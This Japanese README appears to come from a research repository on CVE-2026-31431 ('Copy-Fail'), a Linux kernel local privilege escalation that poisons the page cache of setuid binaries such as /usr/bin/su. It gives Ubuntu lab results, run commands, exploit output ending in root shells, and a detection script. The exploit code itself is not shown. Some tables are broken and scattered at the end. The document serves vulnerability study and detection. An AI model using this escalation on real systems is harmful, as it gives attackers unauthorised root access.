
CVE-2026-31431(Copy-Fail)の概念実証エクスプロイト。LinuxカーネルのAF_ALGおよびsplice()の欠陥を利用し、ページキャッシュポイズニングとローカル権限昇格を可能にします。分析、ラボ結果、検出スクリプトを含みます。
このリポジトリには、通称「Copy-Fail」として知られる CVE-2026-31431 脆弱性に関する詳細な分析、概念実証 (PoC)、およびラボテスト結果が含まれています。
Copy-Fail は、Linux カーネルの Crypto API (AF_ALG) と splice() システムコールを組み合わせたロジックの欠陥を悪用します。これにより、権限のないローカル攻撃者がページキャッシュポイズニングを実行し、ローカル権限昇格 (LPE) につながる可能性があります。
ディスク上のファイルを変更する従来のエクスプロイトとは異なり、Copy-Fail はページキャッシュ (RAM) を直接標的にします。ファイルが読み取られると、カーネルはパフォーマンス向上のために RAM にコピーを保存します。特定のカーネルバージョンの authenc アルゴリズムにおけるメモリ管理のバグにより、攻撃者はカーネルを欺いて、これらの「読み取り専用」メモリページを上書きさせることができます。
/usr/bin/su などの SETUID バイナリのメモリページをポイズニングすることで、認証をバイパスし、root シェルを起動することが可能になります。
複数の Ubuntu ディストリビューションでテストが実施され、カーネルのバックポートとパッチ管理の影響が特に調査されました。
| ディストリビューション | カーネルバージョン | パッチ日付 | 結果 | 観察 |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | 2025年10月 | ❌ 失敗 | セキュリティ更新が有効 |
| Ubuntu 22.04 | 5.15.0-125-generic | 2024年9月 | ✅ 成功 | 脆弱 (未パッチ) |
| Ubuntu 18.04 | 4.15.0-197-generic | 2022年11月 | ✅ 成功 | 脆弱 (未パッチ) |
カーネルのバージョン番号は誤解を招く可能性があります。6.8 などの「新しい」カーネルはセキュリティパッチで保護されていますが、4.15 や 5.15 などの古い、または EOL (サポート終了) のカーネルは、バックポートされた修正が欠如しているため、完全に脆弱なままでした。
調査中に、同じメジャーカーネルバージョンを共有する 2 つの異なる Ubuntu 22.04 システムをテストしたところ、顕著な結果が得られました:
| カーネルバージョン | パッチ日付 |
|---|
このテストは、システムのセキュリティがメジャーバージョン番号だけで測定できないことを証明しています。5.15.0-125 を実行しているサーバーは数秒で root 化される可能性がありますが、5.15.0-170 は攻撃を完全にブロックします。
エクスプロイト成功時の出力 (カーネル 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] /usr/bin/su をポイズニング中 (Ubuntu 22.04 / カーネル 5.15)...
[+] エクスプロイト完了。Root をトリガー中...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
PoC は、さまざまな Python バージョン (特にネイティブの os.splice サポートがないバージョン) 間の互換性を確保するために ctypes を使用して開発されました。
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su をポイズニング中 (カーネル 4.15)...
[+] メモリがポイズニングされました! Root をトリガー中...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. カーネルバージョンを確認
# uname -r
# 2. ロードされたモジュールを確認 (出力がなければ安全)
# lsmod | grep -E "algif_aead|authencesn"
# 3. 重要なテスト — authencesn バインド
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] 重大 — システムは脆弱です!')
s.close()
except:
print('[+] 安全 — authencesn に到達できません')
"
# 4. setuid バイナリのハッシュ (参照用)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
評価表:
| 結果 | 意味 |
|---|---|
| lsmod 出力なし + バインドエラー | ✅ 安全 |
| lsmod 出力あり、またはバインド成功 | ⚠️ 脆弱、直ちにパッチを適用してください |
免責事項: この調査と PoC は、教育および許可されたセキュリティテストの目的のみに使用されます。許可されていないシステムでの使用は、法的結果を招く可能性があります。
| 結果 |
|---|
| ステータス |
|---|
| 5.15.0-125 | 2024年9月 | ✅ 成功 | 脆弱 (エクスプロイト発動) |
| 5.15.0-170 | 2026年1月 | ❌ 失敗 | 安全 (パッチ適用済み) |